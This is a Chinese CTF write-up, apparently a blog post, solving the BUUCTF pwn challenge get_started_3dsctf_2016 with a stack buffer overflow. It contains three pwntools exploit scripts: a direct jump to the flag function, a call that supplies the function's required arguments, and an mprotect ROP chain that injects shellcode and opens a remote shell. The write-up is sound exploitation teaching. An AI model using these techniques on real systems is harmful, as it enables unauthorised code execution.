pwn刷题num30----栈溢出修改栈上参数 或 mprotect修改内存权限 + ret2shellcode

61 篇文章 1 订阅
36 篇文章 0 订阅

BUUCTF-PWN-get_started_3dsctf_2016

在这里插入图片描述首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
在这里插入图片描述

32位程序,小端序
开启部分RELRO-----got表仍可写
未开启canary保护-----存在栈溢出
开启NX保护-----堆栈不可执行
未开启PIE-----程序地址为真实地址
静态链接

在这里插入图片描述

Qual a palavrinha magica?
中文意思是
什么是神奇的词?

很奇怪,ida看一下伪代码
在这里插入图片描述
栈溢出,gets函数输入字符串给v4,未限制输入的大小
看一下栈区
在这里插入图片描述
在这里插入图片描述
这里的var_38就是v4的启始位置,距离返回地址(r所在位置)0x38字节
找一下后门函数
在这里插入图片描述
这里有个

v2 = fopen("flag.txt", "rt");

这个应该就是存放flag的文件,但需要先满足条件

a1 == 814536271 && a2 == 425138641

我们可以忽略这个条件,将返回地址直接覆盖为v2 = fopen(“flag.txt”, “rt”);的地址(0x80489b8)
在这里插入图片描述
exp

from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug' , endian = 'little')
sh = remote('node4.buuoj.cn',27364)

flag = 0x80489bb
payload = flat(['a' * 0x38,p32(flag)])
sh.sendline(payload)
sh.interactive()

运行一下
在这里插入图片描述
失败了。。。。
换个思路,不绕开

a1 == 814536271 && a2 == 425138641

看一下a1,a2所在栈区位置
在这里插入图片描述
arg_0就是a1,arg_4就是a2,位于返回地址后面
再找一下exit地址(打远程时,如果程序是异常退出了,最后是不给你回显的。所以我们得想办法让程序正常退出。就通过exit函数正常退出)
在这里插入图片描述
exp

from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug' , endian = 'little') #小端序,linux系统,32位架构,debug
sh = remote('node4.buuoj.cn',27364)
get_flag_addr = 0x080489A0
exit_addr = 0x804E6A0
a1 = 814536271
a2 = 425138641
payload = flat(['a' * 0x38,p32(get_flag_addr),p32(exit_addr),a1,a2])
sh.sendline(payload)
sh.recvline()

在这里插入图片描述
获得flag

另一个思路

因为是静态链接的,所有的函数都会链接到程序,肯定会存在一个mprotect()函数
在这里插入图片描述

这里引用一下另一个博主的文章

#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。
len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:
1)PROT_READ:内存段可读;
2)PROT_WRITE:内存段可写;
3)PROT_EXEC:内存段可执行;
4)PROT_NONE:内存段不可访问。
返回值:0;成功,-1;失败(并且errno被设置)
1)EACCES:无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时,接着使用 mprotect() 标志为 PROT_WRITE这种情况就会发生。
2)EINVAL:addr不是有效指针,或者不是系统页大小的倍数。
3)ENOMEM:内核内部的结构体无法分配。
这里的参数prot:
			r:4
			w:2
			x:1
prot为7(1+2+4)就是rwx可读可写可执行,与linux文件属性用法类似

题目虽然开了NX保护,但我们可以通过mprotect函数将内存页的权限修改为可读可写可执行
这里需要注意的是指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
所以我们选取的内存起始地址就是4k的整数倍
这里我们选取got表的起始地址(0x080EB000)为mprotect要修改的起始地址addr,将第二个参数len设为0x1000,第三个参数写为7(可读可写可执行)
在这里插入图片描述
mprotect函数地址(0x0806EC80)
在这里插入图片描述
用mprotect函数修改完权限后,再调用read函数将pwntools生成的shellcode代码注入到addr中,之后再将read函数返回地址写为addr地址,调用shellcode,获得shell
关于mprotect函数传参有点特殊,32位程序调用函数不需要寄存器传参,但是我们需要用ret来控制程序运行流程,
用工具 ROPgadget 随便选一个有三个寄存器加一个ret的gadget
在这里插入图片描述

这里选这个片段

0x08063adb : pop edi ; pop esi ; pop ebx ; ret

exp

from pwn import *
sh = remote('node4.buuoj.cn',27364)
#sh = process('./get_started_3dsctf_2016')
context(os = 'linux', arch = 'i386', log_level = 'debug' , endian = 'little') #小端序,linux系统,32位架构,debug

mprotect = 0x0806EC80
buf_addr = 0x80eb000   #要修改的内存页首地址
buf_size = 0x1000      #要修改的内存页大小
buf_prot = 0x7         #要修改的权限

pop_3_ret = 0x08063adb  #寄存器传参外加ret返回read函数地址 
#0x08063adb : pop edi ; pop esi ; pop ebx ; ret

read_addr = 0x0806E140

payload = b'a'*0x38
payload += p32(mprotect)  #先将返回地址覆盖为mprotect函数地址

payload += p32(pop_3_ret)  #通过三个寄存器传参再加上ret返回栈上下一个函数地址
payload += p32(buf_addr)    #要修改的内存页首地址
payload += p32(buf_size)    #要修改的内存页大小
payload += p32(buf_prot)    #要修改的权限

payload += p32(read_addr)  #ret返回栈上下一个函数地址为read函数地址
payload += p32(buf_addr)    #read函数的返回地址
payload += p32(0)           #read函数的第一个参数
payload += p32(buf_addr)    #read函数的第二个参数
payload += p32(0x100)    #read函数的第三个参数
sh.sendline(payload)    

shellcode = asm(shellcraft.sh(),arch='i386',os='linux')   
sh.sendline(shellcode)      #read函数输入buf_addr的字符串

sh.interactive()

运行获得shell

在这里插入图片描述

在这里插入图片描述

  • 3
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值